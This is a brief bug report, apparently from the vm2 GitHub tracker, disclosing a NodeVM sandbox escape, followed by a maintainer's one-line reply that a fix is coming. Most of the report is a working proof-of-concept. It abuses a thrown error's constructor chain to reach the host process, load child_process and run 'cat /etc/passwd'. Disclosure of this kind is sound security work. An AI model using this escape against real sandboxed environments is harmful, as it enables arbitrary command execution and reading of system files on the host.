NodeVM Breakout

[cristianstaicu]

Hey,

I want to report the following breakout:

const {NodeVM} = require('vm2'); 
nvm = new NodeVM();
nvm.run(`
  try {
    a = {};
    a.toString = function() {
      return {};
    }
    process.listeners(a);
  } catch(e) {        
    console.log(
      e.constructor.constructor(
       "return this.process.mainModule.require('child_process').execSync('cat /etc/passwd')")().toString()
    );
  }
`);

[XmiliaH]

Will be fixed in #277